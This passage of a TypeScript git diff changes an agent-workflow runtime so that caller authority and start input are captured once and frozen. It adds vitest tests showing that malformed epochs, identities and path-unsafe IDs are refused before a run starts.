expect(replacementResource).not.toHaveBeenCalled(); + }); +}); + describe('createAgentThreadTopology — idempotent start', () => { it('refuses a key when the topology wired no reservation store', async () => { // #given the typed opt-out diff --git a/packages/flowsafe/src/agent-host/thread-topology.ts b/packages/flowsafe/src/agent-host/thread-topology.ts index 1d56d23a..f2480812 100644 --- a/packages/flowsafe/src/agent-host/thread-topology.ts +++ b/packages/flowsafe/src/agent-host/thread-topology.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { captureActorContext } from '../approval-api/actor-context.js'; import { type ActorContext, type ApprovalDecision, @@ -353,8 +354,40 @@ export function createAgentThreadTopology( ); if (!response.ok) throw await errorFrom(response); }, - start: async (context, input) => { - const threaded = input.threaded !== false; + start: async (sourceContext, sourceInput) => { + const context = captureActorContext(sourceContext); + const { principal, mutationEpoch } = context; + const { + agentId, + entryPath, + runId: suppliedRunId, + threadId: suppliedThreadId, + resourceId: suppliedResourceId, + topologyThreadId, + threaded: suppliedThreaded, + scheduleId, + dispatchId, + idempotencyKey, + prompt, + requestContext, + streamRequestContext, + providerOptions, + } = sourceInput; + const input = { + agentId, + entryPath, + threadId: suppliedThreadId, + resourceId: suppliedResourceId, + topologyThreadId, + scheduleId, + dispatchId, + idempotencyKey, + prompt, + requestContext, + streamRequestContext, + providerOptions, + }; + const threaded = suppliedThreaded !== false; if ( (input.entryPath === 'schedule.fire') !== (input.scheduleId !== undefined) || @@ -388,10 +421,10 @@ export function createAgentThreadTopology( // its own, which is what makes two same-key starts converge instead of // becoming two runs. const mintRunId = (): string => - input.runId === undefined + suppliedRunId === undefined ? context.newRunId() - : isPathSafeId(input.runId) - ? input.runId + : isPathSafeId(suppliedRunId) + ? suppliedRunId : (() => { throw new RunRouteError(404, 'run not found'); })(); @@ -422,7 +455,7 @@ export function createAgentThreadTopology( ): Promise => envelope( await threads.send( - context, + { principal, mutationEpoch }, targetThreadId, `${AGENT_HOST_ROUTE_PREFIX}/start`, { @@ -462,8 +495,8 @@ export function createAgentThreadTopology( { key: input.idempotencyKey, owner: { - kind: context.principal.kind, - id: context.principal.id, + kind: principal.kind, + id: principal.id, }, targetKind: 'agent', targetId: input.agentId, diff --git a/packages/flowsafe/src/agent-runner/agent-gate-round-trip.test.ts b/packages/flowsafe/src/agent-runner/agent-gate-round-trip.test.ts index 7d59bfc9..7851529f 100644 --- a/packages/flowsafe/src/agent-runner/agent-gate-round-trip.test.ts +++ b/packages/flowsafe/src/agent-runner/agent-gate-round-trip.test.ts @@ -627,6 +627,17 @@ describe('agent gate grant round-trip (both suspension shapes)', () => { }, 'operator-1', 'human', + undefined, + undefined, + undefined, + { + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: runId }, + }, + agentStart: { threaded: false }, + onPreparedStartIdentity: undefined, + }, ); const started = await runtime.status( DURABLE_AGENTIC_LOOP_WORKFLOW_ID, diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts index 61632c3d..6398433a 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts @@ -25,6 +25,7 @@ import { MessageList, } from '@mastra/core/agent/message-list'; import { EventEmitterPubSub } from '@mastra/core/events'; +import type { MastraModelConfig } from '@mastra/core/llm'; import { MockMemory } from '@mastra/core/memory'; import { type OutputResult, @@ -42,11 +43,29 @@ import { import { afterEach, describe, expect, it, vi } from 'vitest'; import { z } from 'zod'; +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { createD1Storage } from '../do-runner/d1-storage.js'; import { + type ExecutionFenceDatabase, + ExecutionFenceStore, +} from '../do-runner/execution-fence.js'; +import { + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowAdmissionCapability, +} from '../do-runner/fenced-workflow-capability.js'; +import type { FencedWorkflowsStorageD1 } from '../do-runner/fenced-workflows-d1.js'; +import { + createHostPubSub, + InvalidExecutionIdentityError, + InvalidMutationEpochError, InvalidRunRequestError, + type RequestContextProvider, type RunnerRuntime, + type StartRunOptions, } from '../do-runner/index.js'; +import { init } from '../do-runner/init.js'; import { + type AgentStartAuthority, createFlowsafeDurableAgent, DURABLE_AGENTIC_LOOP_WORKFLOW_ID, type FlowsafeDurableAgent, @@ -72,7 +91,7 @@ function fakeRuntime( }); const workflowIds = vi.fn(() => [...registered]); const start = vi.fn( - async (_workflowId: string, options: { runId: string }) => + async (_workflowId: string, options: StartRunOptions) => overrides.startResult ?? { runId: options.runId, status: 'suspended' as const, @@ -245,11 +264,1150 @@ function drive( ).executeWorkflow(runId, input); } -const INPUT = { +function startAuthority(): AgentStartAuthority { + return { + mutationEpoch: 2, + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread-1' }, + }, + agentStart: { threaded: false }, + onPreparedStartIdentity: undefined, + }; +} + +const INPUT: DurableAgenticWorkflowInput = { __workflowKind: 'durable-agent', runId: 'run-1', agentId: 'writer', -} as unknown as DurableAgenticWorkflowInput; + messageListState: new MessageList().serialize(), + toolsMetadata: [], + modelConfig: { provider: 'test', modelId: 'local' }, + options: {}, + state: {}, + messageId: 'message-1', +}; + +function bridgeFixture() { + const fake = fakeRuntime(); + const agent = createFlowsafeDurableAgent({ + agent: testAgent(), + runtime: fake.runtime, + }); + const streamResult = { output: { id: 'output' } }; + const stream = vi + .spyOn(agent, 'stream') + .mockResolvedValue(streamResult as never); + const start = ( + authority: AgentStartAuthority = startAuthority(), + runId = 'run-1', + dispatch?: { scheduleId: string; dispatchId: string }, + ) => + agent.streamUntilPersisted( + 'hello', + { runId }, + 'operator-1', + 'human', + 'attempt-original', + dispatch, + 'key-original', + authority, + ); + return { ...fake, agent, stream, startHost: start, streamResult }; +} + +function bridgeDeferred() { + let resolve!: () => void; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +async function cRefusedAuthority(source: unknown, expected: Error) { + const f = bridgeFixture(); + const nativeSet = Map.prototype.set; + const installed: unknown[] = []; + const set = vi.spyOn(Map.prototype, 'set').mockImplementation(function ( + this: Map, + key, + value, + ) { + if (key === 'run-1') installed.push(value); + return nativeSet.call(this, key, value); + }); + const entered = bridgeDeferred(); + const stream = f.stream.getMockImplementation(); + if (!stream) throw new Error('missing bridge stream fixture'); + f.stream.mockImplementation((...args) => { + entered.resolve(); + return stream.apply(f.agent, args); + }); + const pending = f.startHost(source as AgentStartAuthority); + const outcome = pending.catch((cause: unknown) => cause); + try { + const error = await Promise.race([ + outcome, + entered.promise.then(() => Symbol('stream started before refusal')), + ]); + expect(error, 'authority must be refused before stream').toBeInstanceOf( + Error, + ); + expect(Object.getPrototypeOf(error)).toBe(Object.getPrototypeOf(expected)); + expect(error).toEqual(expected); + if ( + expected instanceof InvalidExecutionIdentityError || + expected instanceof InvalidMutationEpochError + ) { + expect(error).toMatchObject({ + name: expected.name, + message: expected.message, + status: 400, + reason: expected.reason, + }); + } else expect(error).toBe(expected); + expect(f.stream).not.toHaveBeenCalled(); + expect(f.start).not.toHaveBeenCalled(); + expect(installed).toEqual([]); + } finally { + set.mockRestore(); + if (f.stream.mock.calls.length) + await drive(f.agent, 'run-1', INPUT).catch(() => undefined); + await outcome; + f.stream.mockImplementation(stream); + } + await expect( + Promise.all([f.startHost(), drive(f.agent, 'run-1', INPUT)]), + ).resolves.toHaveLength(2); +} + +function cLocalModel(onCall: () => void): MastraModelConfig { + const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 }; + return { + specificationVersion: 'v2', + provider: 'flowsafe-test', + modelId: 'c-local-text', + supportedUrls: {}, + doGenerate: async () => { + onCall(); + return { + content: [{ type: 'text', text: 'done' }], + finishReason: 'stop', + usage, + warnings: [], + }; + }, + doStream: async () => { + onCall(); + return { + stream: new ReadableStream({ + start(controller) { + controller.enqueue({ type: 'stream-start', warnings: [] }); + controller.enqueue({ type: 'text-start', id: 'text-1' }); + controller.enqueue({ + type: 'text-delta', + id: 'text-1', + delta: 'done', + }); + controller.enqueue({ type: 'text-end', id: 'text-1' }); + controller.enqueue({ type: 'finish', finishReason: 'stop', usage }); + controller.close(); + }, + }), + }; + }, + }; +} + +async function cRealBridge( + provider?: RequestContextProvider, + modelFault?: Error, +) { + const sql = openSqlite() as ReturnType & { close(): void }; + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase; + const storage = createD1Storage({ binding }); + await storage.init(); + const fence = new ExecutionFenceStore(binding); + await fence.seed('open'); + for (let index = 0; index < 2; index++) { + const before = await fence.read(); + const draining = await fence.transition({ + expected: 'open', + next: 'draining', + expectedMutationEpoch: before.mutationEpoch, + expectedRevision: before.transitionRevision, + advanceMutationEpoch: true, + }); + await fence.transition({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: draining.mutationEpoch, + expectedRevision: draining.transitionRevision, + }); + } + const workflows = (await storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const native = workflows[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing owned workflow capability'); + const counts = { model: 0, callback: 0, admission: 0, terminalization: 0 }; + const capability: FencedWorkflowAdmissionCapability = { + ...native, + withInitialAdmission: (input, create) => { + counts.admission++; + return native.withInitialAdmission(input, create); + }, + terminalizeInitialAdmission: (input) => { + counts.terminalization++; + return native.terminalizeInitialAdmission(input); + }, + }; + Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, { + value: capability, + configurable: true, + }); + const { runtime } = init( + { storage }, + { + executionFence: fence, + startIdempotency: 'none', + pubsub: createHostPubSub(), + requestContextForRun: provider, + }, + ); + const agent = createFlowsafeDurableAgent({ + agent: new Agent({ + id: 'writer', + name: 'Writer', + instructions: 'Return done.', + model: cLocalModel(() => { + counts.model++; + if (modelFault) throw modelFault; + }), + }), + runtime, + cache: false, + maxSteps: 1, + }); + const start = vi.spyOn(runtime, 'start'); + return { sql, fence, workflows, counts, runtime, agent, start }; +} + +describe('C agent bridge capture', () => { + it.each([ + null, + '2', + true, + -1, + 0.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER + 1, + ])('C bridge refuses malformed epoch before stream and permits clean retry: %s', async (epoch) => { + await cRefusedAuthority( + { ...startAuthority(), mutationEpoch: epoch }, + new InvalidMutationEpochError(), + ); + }); + + it.each([ + ['null', null, 'identity'], + ['array', [], 'identity'], + ['empty', {}, 'owner'], + [ + 'owner-null', + { + owner: null, + target: { kind: 'agent', id: 'writer', threadId: 'thread' }, + }, + 'owner', + ], + [ + 'owner-kind', + { + owner: { kind: 'invalid', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread' }, + }, + 'owner.kind', + ], + [ + 'owner-id', + { + owner: { kind: 'human', id: '' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread' }, + }, + 'owner.id', + ], + [ + 'target-missing', + { owner: { kind: 'human', id: 'operator-1' } }, + 'target', + ], + [ + 'target-null', + { owner: { kind: 'human', id: 'operator-1' }, target: null }, + 'target', + ], + [ + 'target-array', + { owner: { kind: 'human', id: 'operator-1' }, target: [] }, + 'target', + ], + [ + 'target-kind', + { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'invalid', id: 'writer' }, + }, + 'target.kind', + ], + [ + 'target-id', + { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'bad/path', threadId: 'thread' }, + }, + 'target.id', + ], + [ + 'thread-missing', + { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer' }, + }, + 'target.threadId', + ], + [ + 'thread-null', + { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: null }, + }, + 'target.threadId', + ], + [ + 'thread-path', + { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: 'bad/path' }, + }, + 'target.threadId', + ], + ] as const)('C bridge refuses malformed identity before stream and permits clean retry: %s', async (_label, startIdentity, field) => { + await cRefusedAuthority( + { ...startAuthority(), startIdentity }, + new InvalidExecutionIdentityError(field), + ); + }); + + it.each([ + 'identity-owner', + 'identity-target', + 'guard-owner', + 'guard-id', + 'guard-token', + ] as const)('C bridge preserves nested first getter faults before map installation: %s', async (location) => { + const fault = new Error(`first ${location} read`); + const source = startAuthority(); + if (location === 'identity-owner') + Object.defineProperty(source.startIdentity.owner, 'id', { + get() { + throw fault; + }, + }); + if (location === 'identity-target') + Object.defineProperty(source.startIdentity.target, 'threadId', { + get() { + throw fault; + }, + }); + const guard = { + owner: { kind: 'human' as const, id: 'resource-owner' }, + reservationToken: 'token', + }; + if (location === 'guard-owner') + Object.defineProperty(guard, 'owner', { + get() { + throw fault; + }, + }); + if (location === 'guard-id') + Object.defineProperty(guard.owner, 'id', { + get() { + throw fault; + }, + }); + if (location === 'guard-token') + Object.defineProperty(guard, 'reservationToken', { + get() { + throw fault; + }, + }); + await cRefusedAuthority({ ...source, runOwnerGuard: guard }, fault); + }); + + it('C bridge captures each owner-guard primitive once', async () => { + const f = bridgeFixture(); + const once = (value: T) => + vi + .fn<() => T>() + .mockReturnValueOnce(value) + .mockImplementation(() => { + throw new Error('second guard read'); + }); + const kind = once('service'); + const id = once('resource-owner'); + const token = once('reservation'); + const source = { + ...startAuthority(), + runOwnerGuard: { + owner: { + get kind() { + return kind(); + }, + get id() { + return id(); + }, + }, + get reservationToken() { + return token(); + }, + }, + }; + const pending = f.startHost(source); + await expect( + Promise.all([pending, drive(f.agent, 'run-1', INPUT)]), + ).resolves.toHaveLength(2); + expect(f.start.mock.calls[0]?.[1].runOwnerGuard).toEqual({ + owner: { kind: 'service', id: 'resource-owner' }, + reservationToken: 'reservation', + }); + for (const read of [kind, id, token]) expect(read).toHaveBeenCalledTimes(1); + }); + + it.each([ + undefined, + 1, + 2, + 3, + ])('C real agent bridge preserves active epoch compatibility at Runtime: %s', async (epoch) => { + const { sql, fence, workflows, counts, runtime, agent, start } = + await cRealBridge(); + const runId = `real-epoch-${epoch ?? 'missing'}`; + const attemptToken = `attempt-${epoch ?? 'missing'}`; + const authority: AgentStartAuthority = { + ...startAuthority(), + onPreparedStartIdentity: () => { + counts.callback++; + }, + }; + if (epoch === undefined) + delete (authority as { mutationEpoch?: number }).mutationEpoch; + else Object.assign(authority, { mutationEpoch: epoch }); + let result: + | Awaited> + | undefined; + try { + expect(await fence.read()).toMatchObject({ + state: 'open', + mutationEpoch: 2, + requireMutationEpoch: true, + }); + result = await agent.streamUntilPersisted( + 'Return done.', + { runId, maxSteps: 1, disableBackgroundTasks: true }, + 'operator-1', + 'human', + attemptToken, + undefined, + undefined, + authority, + ); + expect(await result.output.text).toBe('done'); + await globalRunRegistry.get(runId)?.workflowExecution; + expect( + (await runtime.status(agent.getWorkflow().id, runId))?.status, + ).toBe('success'); + expect(start).toHaveBeenCalledOnce(); + expect(start.mock.calls[0]?.[1].mutationEpoch).toBe(epoch); + expect(start.mock.calls[0]?.[1].onPreparedStartIdentity).toBe( + authority.onPreparedStartIdentity, + ); + const snapshot = await workflows.loadWorkflowSnapshot({ + workflowName: agent.getWorkflow().id, + runId, + }); + expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ + version: 1, + requestedBy: 'operator-1', + requestedByKind: 'human', + startToken: attemptToken, + attemptToken, + resumeCounts: [], + }); + for (const key of [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'onPreparedStartIdentity', + 'runOwnerGuard', + 'flowsafe.initialAdmission', + ]) + expect(snapshot?.requestContext).not.toHaveProperty(key); + expect(counts).toEqual({ + model: 1, + callback: 0, + admission: 0, + terminalization: 0, + }); + } finally { + await globalRunRegistry + .get(runId) + ?.workflowExecution?.catch(() => undefined); + result?.cleanup(); + globalRunRegistry.delete(runId); + start.mockRestore(); + sql.close(); + expect(counts.callback).toBe(0); + expect(counts.admission).toBe(0); + expect(counts.terminalization).toBe(0); + } + }); + + it.each([ + 'provider-failure', + 'model-failure', + 'lost-receipt', + ] as const)('C real agent failure and terminal recovery keep v1 without automatic activation: %s', async (phase) => { + const fault = new Error(`C real ${phase}`); + const f = await cRealBridge( + phase === 'provider-failure' + ? () => { + throw fault; + } + : undefined, + phase === 'model-failure' ? fault : undefined, + ); + const runId = `real-${phase}`; + const attemptToken = `attempt-${phase}`; + const workflow = f.agent.getWorkflow(); + let lostReceipts = 0; + const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows); + const persistence = vi + .spyOn(f.workflows, 'persistWorkflowSnapshot') + .mockImplementation(async (input) => { + await persist(input); + if ( + phase === 'lost-receipt' && + input.workflowName === workflow.id && + input.runId === runId && + input.snapshot.status === 'success' && + lostReceipts === 0 + ) { + lostReceipts++; + throw fault; + } + }); + const streams: Array>> = []; + const nativeStream = f.agent.stream.bind(f.agent); + const stream = vi + .spyOn(f.agent, 'stream') + .mockImplementation(async (...args) => { + const result = await nativeStream(...args); + streams.push(result); + return result; + }); + const callback = () => { + f.counts.callback++; + }; + const authority: AgentStartAuthority = { + ...startAuthority(), + onPreparedStartIdentity: callback, + }; + try { + expect(await f.fence.read()).toMatchObject({ + state: 'open', + mutationEpoch: 2, + requireMutationEpoch: true, + }); + const pending = f.agent.streamUntilPersisted( + 'Return done.', + { + runId, + disableBackgroundTasks: true, + modelSettings: { maxRetries: 0 }, + }, + 'operator-1', + 'human', + attemptToken, + undefined, + undefined, + authority, + ); + if (phase === 'lost-receipt') { + const result = await pending; + expect(await result.output.text).toBe('done'); + } else if (phase === 'provider-failure') + await expect(pending).rejects.toBe(fault); + else await expect(pending).rejects.toThrow('C real model-failure'); + const execution = globalRunRegistry.get(runId)?.workflowExecution; + if (execution) await execution.catch(() => undefined); + else expect(globalRunRegistry.has(runId)).toBe(false); + expect(f.start).toHaveBeenCalledOnce(); + expect(f.start.mock.calls[0]?.[1].onPreparedStartIdentity).toBe(callback); + expect(f.start.mock.calls[0]?.[1].mutationEpoch).toBe(2); + const snapshot = await f.workflows.loadWorkflowSnapshot({ + workflowName: workflow.id, + runId, + }); + if (phase === 'provider-failure') { + expect(snapshot).toBeNull(); + expect(f.counts.model).toBe(0); + expect(persistence).not.toHaveBeenCalled(); + } else { + expect(snapshot?.status).toBe('success'); + if (phase === 'model-failure') + expect(snapshot?.result).toMatchObject({ + stepResult: { reason: 'error' }, + output: { text: '', steps: [{ finishReason: 'error' }] }, + }); + expect((await f.runtime.status(workflow.id, runId))?.status).toBe( + 'success', + ); + expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ + version: 1, + requestedBy: 'operator-1', + requestedByKind: 'human', + startToken: attemptToken, + attemptToken, + resumeCounts: [], + }); + for (const key of [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'onPreparedStartIdentity', + 'runOwnerGuard', + 'flowsafe.initialAdmission', + ]) + expect(snapshot?.requestContext).not.toHaveProperty(key); + expect(f.counts.model).toBe(1); + } + expect(lostReceipts).toBe(phase === 'lost-receipt' ? 1 : 0); + } finally { + await globalRunRegistry + .get(runId) + ?.workflowExecution?.catch(() => undefined); + for (const result of streams) result.cleanup(); + globalRunRegistry.delete(runId); + stream.mockRestore(); + persistence.mockRestore(); + f.start.mockRestore(); + f.sql.close(); + expect(f.counts.callback).toBe(0); + expect(f.counts.admission).toBe(0); + expect(f.counts.terminalization).toBe(0); + } + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + it('C bridge forwards a frozen authority captured before stream', async () => { + const f = bridgeFixture(); + const entered = bridgeDeferred(); + const release = bridgeDeferred(); + f.stream.mockImplementation(async () => { + entered.resolve(); + await release.promise; + return f.streamResult as never; + }); + const callback = vi.fn(); + const source = { + mutationEpoch: 2, + startIdentity: { + owner: { kind: 'human' as const, id: 'operator-1' }, + target: { + kind: 'agent' as const, + id: 'writer', + threadId: 'original-thread', + }, + }, + agentStart: { threaded: true }, + onPreparedStartIdentity: callback, + runOwnerGuard: { + owner: { kind: 'service' as const, id: 'resource-owner' }, + reservationToken: 'reservation-original', + }, + }; + const pending = f.startHost(source); + void pending.catch(() => undefined); + try { + await entered.promise; + source.mutationEpoch = 3; + source.startIdentity.owner.id = 'replacement'; + source.startIdentity.target.threadId = 'replacement-thread'; + source.agentStart.threaded = false; + source.onPreparedStartIdentity = vi.fn(); + source.runOwnerGuard.owner.id = 'replacement-owner'; + source.runOwnerGuard.reservationToken = 'replacement-token'; + release.resolve(); + await drive(f.agent, 'run-1', INPUT); + await pending; + const forwarded = f.start.mock.calls[0]?.[1] as StartRunOptions; + expect(forwarded).toMatchObject({ + mutationEpoch: 2, + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: 'original-thread' }, + }, + agentStart: { threaded: true }, + runOwnerGuard: { + owner: { kind: 'service', id: 'resource-owner' }, + reservationToken: 'reservation-original', + }, + }); + expect(forwarded.onPreparedStartIdentity).toBe(callback); + for (const value of [ + forwarded.startIdentity, + forwarded.startIdentity?.owner, + forwarded.startIdentity?.target, + forwarded.agentStart, + forwarded.runOwnerGuard, + forwarded.runOwnerGuard?.owner, + ]) + expect(Object.isFrozen(value)).toBe(true); + for (const value of [ + source, + source.startIdentity, + source.startIdentity.owner, + source.startIdentity.target, + source.agentStart, + source.runOwnerGuard, + source.runOwnerGuard.owner, + callback, + ]) + expect(Object.isFrozen(value)).toBe(false); + expect(callback).not.toHaveBeenCalled(); + expect(f.stream.mock.calls[0]?.[1]).not.toHaveProperty('startIdentity'); + expect(forwarded.inputData).not.toHaveProperty('onPreparedStartIdentity'); + } finally { + release.resolve(); + await pending.catch(() => undefined); + } + }); + + it('C bridge never rereads authority after stream handoff', async () => { + const f = bridgeFixture(); + const authority = startAuthority(); + const reads = new Map(); + const once = (object: T, prefix: string): T => { + for (const key of Object.keys(object)) { + const value = object[key as keyof T]; + Object.defineProperty(object, key, { + configurable: true, + enumerable: false, + get() { + const name = `${prefix}.${key}`; + const count = (reads.get(name) ?? 0) + 1; + reads.set(name, count); + if (count > 1) throw new Error(`second read: ${name}`); + return value; + }, + }); + } + return object; + }; + once(authority.startIdentity.owner, 'owner'); + once(authority.startIdentity.target, 'target'); + once(authority.startIdentity, 'identity'); + once(authority.agentStart, 'mode'); + once(authority, 'authority'); + const pending = f.startHost(authority); + void pending.catch(() => undefined); + let driven = false; + try { + expect([...reads.keys()].sort()).toEqual( + [ + 'owner.kind', + 'owner.id', + 'target.kind', + 'target.id', + 'target.threadId', + 'identity.owner', + 'identity.target', + 'mode.threaded', + 'authority.mutationEpoch', + 'authority.startIdentity', + 'authority.agentStart', + 'authority.onPreparedStartIdentity', + ].sort(), + ); + expect([...reads.values()]).toEqual(Array(reads.size).fill(1)); + driven = true; + await expect(drive(f.agent, 'run-1', INPUT)).resolves.toBeUndefined(); + await expect(pending).resolves.toBe(f.streamResult); + expect([...reads.values()]).toEqual(Array(reads.size).fill(1)); + expect(f.start).toHaveBeenCalledOnce(); + expect(f.start.mock.calls[0]?.[1]).toMatchObject({ + mutationEpoch: 2, + agentStart: { threaded: false }, + }); + } finally { + if (!driven) await drive(f.agent, 'run-1', INPUT).catch(() => undefined); + await pending.catch(() => undefined); + } + }); + + it('C bridge captures schedule dispatch before installing stream state', async () => { + const f = bridgeFixture(); + const ids = { + scheduleId: 'schedule-original', + dispatchId: 'dispatch-original', + }; + const scheduleId = vi.fn(() => ids.scheduleId); + const dispatchId = vi.fn(() => ids.dispatchId); + const dispatch = { + get scheduleId() { + return scheduleId(); + }, + get dispatchId() { + return dispatchId(); + }, + }; + const pending = f.startHost(startAuthority(), 'run-1', dispatch); + ids.scheduleId = 'schedule-late'; + ids.dispatchId = 'dispatch-late'; + await Promise.all([drive(f.agent, 'run-1', INPUT), pending]); + expect(f.start.mock.calls[0]?.[1]).toMatchObject({ + scheduleDispatch: { + scheduleId: 'schedule-original', + dispatchId: 'dispatch-original', + }, + }); + expect(scheduleId).toHaveBeenCalledTimes(1); + expect(dispatchId).toHaveBeenCalledTimes(1); + }); + + it('C copies Core payload without rereading runId or agentId', async () => { + const f = bridgeFixture(); + const runId = vi + .fn() + .mockReturnValueOnce('run-1') + .mockImplementation(() => { + throw new Error('second runId read'); + }); + const agentId = vi + .fn() + .mockReturnValueOnce('writer') + .mockImplementation(() => { + throw new Error('second agentId read'); + }); + const input: DurableAgenticWorkflowInput = { + ...INPUT, + get runId() { + return runId(); + }, + get agentId() { + return agentId(); + }, + }; + const pending = f.startHost(); + await expect( + Promise.all([drive(f.agent, 'run-1', input), pending]), + ).resolves.toHaveLength(2); + expect(runId).toHaveBeenCalledTimes(1); + expect(agentId).toHaveBeenCalledTimes(1); + expect(f.start.mock.calls[0]?.[1]).toMatchObject({ inputData: INPUT }); + }); + + it('C bridge rejects authority supplied only through stream options', async () => { + const f = bridgeFixture(); + const options = { runId: 'run-1', authority: startAuthority() }; + f.stream.mockImplementation(async () => { + await drive(f.agent, 'run-1', INPUT); + return f.streamResult as never; + }); + const outcome = await f.agent + .streamUntilPersisted( + 'hello', + options, + 'operator-1', + 'human', + undefined, + undefined, + undefined, + undefined as never, + ) + .catch((error: unknown) => error); + expect(f.stream).not.toHaveBeenCalled(); + expect(f.start).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(InvalidRunRequestError); + await f.startHost(); + }); + + it('C bridge rejects authority supplied only through Core input', async () => { + const f = bridgeFixture(); + const nativeSet = Map.prototype.set; + const spy = vi.spyOn(Map.prototype, 'set').mockImplementation(function ( + this: Map, + key, + value, + ) { + if ( + key === 'run-1' && + value && + typeof value === 'object' && + Object.hasOwn(value, 'startIdentity') + ) + return this; + return nativeSet.call(this, key, value); + }); + try { + const pending = f.startHost(); + const input = { ...INPUT, authority: startAuthority() }; + const results = await Promise.allSettled([ + pending, + drive(f.agent, 'run-1', input), + ]); + expect(f.start).not.toHaveBeenCalled(); + expect(results.map((result) => result.status)).toEqual([ + 'rejected', + 'rejected', + ]); + for (const result of results) + if (result.status === 'rejected') + expect(result.reason).toBeInstanceOf(InvalidRunRequestError); + } finally { + spy.mockRestore(); + } + }); + + it.each([ + 'success', + 'stream-throw', + 'onError', + 'runtime-refusal', + ] as const)('C bridge removes authority on every exit and isolates same-run retries (%s)', async (exit) => { + const f = bridgeFixture(); + const nativeSet = Map.prototype.set; + const nativeDelete = Map.prototype.delete; + let authorityMap: Map | undefined; + let deletions = 0; + const set = vi.spyOn(Map.prototype, 'set').mockImplementation(function ( + this: Map, + key, + value, + ) { + if ( + key === 'run-1' && + value && + typeof value === 'object' && + Object.hasOwn(value, 'startIdentity') + ) + authorityMap = this; + return nativeSet.call(this, key, value); + }); + const remove = vi + .spyOn(Map.prototype, 'delete') + .mockImplementation(function (this: Map, key) { + if (this === authorityMap && key === 'run-1') deletions++; + return nativeDelete.call(this, key); + }); + const failure = new InvalidRunRequestError('test refusal'); + try { + if (exit === 'stream-throw') f.stream.mockRejectedValueOnce(failure); + if (exit === 'onError') + f.stream.mockImplementationOnce(async (_messages, options) => { + await options?.onError?.({ error: failure } as never); + return f.streamResult as never; + }); + if (exit === 'runtime-refusal') f.start.mockRejectedValueOnce(failure); + const pending = f.startHost(); + const outcomes = await Promise.allSettled( + exit === 'success' || exit === 'runtime-refusal' + ? [pending, drive(f.agent, 'run-1', INPUT)] + : [pending], + ); + expect(outcomes[0]?.status).toBe( + exit === 'success' ? 'fulfilled' : 'rejected', + ); + expect(authorityMap).toBeDefined(); + expect(authorityMap?.size).toBe(0); + expect(deletions).toBe(1); + const next = { ...startAuthority(), mutationEpoch: 3 }; + await Promise.all([f.startHost(next), drive(f.agent, 'run-1', INPUT)]); + expect(f.start.mock.lastCall?.[1]).toMatchObject({ mutationEpoch: 3 }); + expect(authorityMap?.size).toBe(0); + expect(deletions).toBe(2); + } finally { + set.mockRestore(); + remove.mockRestore(); + } + }); + + it.each([ + undefined, + null, + 1, + [], + {}, + { ...startAuthority(), onPreparedStartIdentity: 1 }, + { ...startAuthority(), agentStart: { threaded: 'true' } }, + { + ...startAuthority(), + runOwnerGuard: { + owner: { kind: 'human', id: 'owner' }, + reservationToken: '../bad', + }, + }, + { + ...startAuthority(), + startIdentity: { + owner: { kind: 'human', id: 'other' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread-1' }, + }, + }, + { + ...startAuthority(), + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'workflow', id: 'writer' }, + }, + }, + ])('C refuses malformed authority before stream and permits clean retry %#', async (authority) => { + const f = bridgeFixture(); + await expect( + f.agent.streamUntilPersisted( + 'hello', + { runId: 'run-1' }, + 'operator-1', + 'human', + undefined, + undefined, + undefined, + authority as never, + ), + ).rejects.toBeInstanceOf(InvalidRunRequestError); + expect(f.stream).not.toHaveBeenCalled(); + expect(f.start).not.toHaveBeenCalled(); + await Promise.all([f.startHost(), drive(f.agent, 'run-1', INPUT)]); + }); + + it('C refuses missing and inherited callback properties and preserves capture faults', async () => { + const f = bridgeFixture(); + const { onPreparedStartIdentity: _callback, ...missing } = startAuthority(); + const inherited = Object.assign( + Object.create({ onPreparedStartIdentity: undefined }), + missing, + ); + for (const source of [missing, inherited]) { + await expect( + f.startHost(source as AgentStartAuthority), + ).rejects.toBeInstanceOf(InvalidRunRequestError); + } + const fault = new Error('first authority read'); + const source = { + ...startAuthority(), + get mutationEpoch(): number { + throw fault; + }, + }; + await expect(f.startHost(source)).rejects.toBe(fault); + const dispatch = { + get scheduleId(): string { + throw fault; + }, + dispatchId: 'dispatch', + }; + await expect(f.startHost(startAuthority(), 'run-1', dispatch)).rejects.toBe( + fault, + ); + expect(f.stream).not.toHaveBeenCalled(); 